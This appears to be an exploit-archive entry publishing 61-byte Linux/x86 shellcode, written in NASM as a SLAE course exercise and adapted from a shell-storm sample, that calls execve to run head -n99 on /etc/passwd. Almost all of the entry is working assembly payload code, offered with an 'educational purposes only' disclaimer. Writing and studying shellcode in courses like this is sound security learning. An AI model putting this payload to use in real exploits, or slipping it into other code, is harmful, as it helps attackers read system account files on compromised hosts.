Exploits / Vulnerability Discovered : 2018-12-04 |
Type : shellcode |
Platform : linux_x86
This exploit / vulnerability Linux/x86 /usr/bin/head n99 cat etc/passwd shellcode (61 bytes) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
; Exploit Title: /usr/bin/head -n99 cat etc/passwd (poly shellcode-571.php)
; Date: November 29th, 2018
; Exploit Author: Nelis
; Version: 0.2
; Tested on: Ubuntu 12.10
; Filename: headpass.nasm
; SLAE-ID: 1327
; Based on: http://shell-storm.org/shellcode/files/shellcode-571.php
push eax ; put 0-term on stack
push dword 0x64777373 ; dwss
push dword 0x61702f63 ; ap/c
push dword 0x74652f2f ; te//
mov esi, esp ; save addr of stack into esi
push eax
push dword 0x39396e2d ; 99n-
mov edi, esp ; save addr of stack into edi
push eax
push dword 0x64616568 ; daeh
push dword 0x2f6e6962 ; /nib
push dword 0x2f2f2f2f ; ////
push dword 0x7273752f ; rsu/ changed from cat to head command
mov ebx,esp ; unchanged (save addr of stack into into ebx)
; mov edx, eax ; set edx to NULL / not already 0x0 / keeping it here in case you encouter issues with it
push eax ; 0-term on stack
push edi ; added for args
push esi ; added for args
push ebx ; pointer to /user////bin/head
mov al, 0xb ; set syscall execve
mov ecx,esp ; move stack pointer into ecx
int 0x80 ; make syscall